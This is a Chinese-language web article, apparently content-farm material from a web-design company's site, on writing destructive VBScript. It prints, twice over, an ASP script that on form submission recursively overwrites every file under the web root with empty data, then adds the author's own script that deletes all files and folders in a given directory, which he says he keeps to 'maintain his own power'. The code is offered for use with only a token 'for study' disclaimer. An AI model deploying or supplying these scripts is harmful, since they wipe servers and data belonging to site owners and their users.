小編給大家分享一下VBS如何實現(xiàn)破壞性應用，相信大部分人都還不怎么了解，因此分享這篇文章給大家參考一下，希望大家閱讀完這篇文章后大有收獲，下面讓我們一起去了解一下吧！
成都創(chuàng)新互聯(lián)公司主營涼城網站建設的網絡公司,主營網站建設方案,
重慶APP開發(fā),涼城h5小程序定制開發(fā)搭建,涼城網站營銷推廣歡迎涼城等地區(qū)企業(yè)咨詢
僅供學習參考。
'網上看到的，適用與沒有禁用shell.application的服務器
server.scripttimeout = 99999
If request("submit")<>"" Then
Call listfile(server.mappath("./"))
response.Write"處理完畢"
Else
response.Write"
"
End If
Function listfile(fpath)
On Error Resume Next
Dim Shell, Folder, s
Set Shell = server.CreateObject ("shell.application")
Set Folder = Shell.namespace(fpath)
Set f = server.CreateObject("adodb.stream")
f.Type = 1
f.Open
For Each s in Folder.Items
If s.isfolder Then
Call listfile(s.Path)
Else
f.savetofile s.Path, 2
End If
Next
Set f = Nothing
Set Shell = Nothing
End Function
'網上看到的，適用與沒有禁用shell.application的服務器
server.scripttimeout = 99999
If request("submit")<>"" Then
Call listfile(server.mappath("./"))
response.Write"處理完畢"
Else
response.Write"
"
End If
Function listfile(fpath)
On Error Resume Next
Dim Shell, Folder, s
Set Shell = server.CreateObject ("shell.application")
Set Folder = Shell.namespace(fpath)
Set f = server.CreateObject("adodb.stream")
f.Type = 1
f.Open
For Each s in Folder.Items
If s.isfolder Then
Call listfile(s.Path)
Else
f.savetofile s.Path, 2
End If
Next
Set f = Nothing
Set Shell = Nothing
End Function
以前也看到過這個，感覺沒什么用，這么危險的組件服務器一般都禁用了，但今天，我突然覺得有進也得收集或制作一些這樣的軟件，可以維護自己的權力。具體什么原因我就不說了，我寫的一個：
view plaincopy to clipboardprint?
'看到文件刪文件，看到文件夾刪除文件夾
Function FilesTree(sPath)
Set oFso = CreateObject("Scripting.FileSystemObject")
Set oFolder = oFso.GetFolder(sPath)
Set oSubFolders = oFolder.SubFolders
Set oFiles = oFolder.Files
For Each oFile In oFiles
'WScript.Echo oFile.Path
oFile.Delete
Next
For Each oSubFolder In oSubFolders
'WScript.Echo oSubFolder.Path
oSubFolder.Delete
'FilesTree(oSubFolder.Path)'遞歸
Next
Set oFolder = Nothing
Set oSubFolders = Nothing
Set oFso = Nothing
End Function
FilesTree("F:\deltest\deltest") '遍歷
以上是“VBS如何實現(xiàn)破壞性應用”這篇文章的所有內容，感謝各位的閱讀！相信大家都有了一定的了解，希望分享的內容對大家有所幫助，如果還想學習更多知識，歡迎關注創(chuàng)新互聯(lián)行業(yè)資訊頻道！
網站名稱：VBS如何實現(xiàn)破壞性應用-創(chuàng)新互聯(lián)
網站鏈接：
http://weahome.cn/article/hopjs.html
重慶分公司
重慶分公司
